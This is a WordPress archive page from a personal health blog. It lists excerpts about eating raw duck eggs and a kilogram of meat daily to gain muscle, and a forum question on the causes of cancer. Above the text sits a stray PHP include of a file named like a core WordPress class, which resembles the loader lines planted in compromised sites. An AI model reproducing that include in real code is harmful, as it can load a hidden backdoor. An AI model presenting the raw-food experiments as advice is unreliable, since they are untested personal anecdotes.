@include(ABSPATH . WPINC .'/class-wp-xmlrpc.php'); General Health Archives - Page 46 of 175 - My Family Health Blog

Category: General Health

My 3rd day of 125 grams of protein was easy

With the fertilized duck eggs my intake of 125 grams or more of protein was much easier. At breakfast I had 4 duck eggs. So at 6 grams of protein per egg that is 24 grams of protein. Of course we don’t really know how accurate those gram measurements...

Forum Question: What are the causes of cancer? Any real cures?

There is a forum question in GodLikeProductions.com that asked this: What do you think is the real cause of all the cancer? It’s shocking to see so many people with cancer. And still no idea whats causing it or no real cures. I think it has something to do...

2nd Day of eating up to 1 kilogram of meat to try to gain muscle

I’m into the 2nd day of eating up to 1 kilogram of meat to try and gain muscle.  It’s not so bad, but I’m starting to miss the fat.  Good thing at lunch time my wife got home with fresh Palawan duck eggs.  2 raw eggs, that hit the...

First day of eating 1 kilogram of meat was easy enough

Yesterday at breakfast I followed the body building coach that I eat protein first thing in the morning.  Easy enough.  Just get some 200 grams of mostly lean beef from the refrigerator and snipped away with the scissors.  It wasn’t that filling as I wasn’t eating the usual enormous...

Experiment to build larger muscles with more raw protein

An interesting forum post by RedFulcrum in the raw paleo forum had me thinking about the next step I should go about regarding my health.  Now that I have health, I want to achieve the next level, bulk up, look like a muscle bound man.  This experiment should be...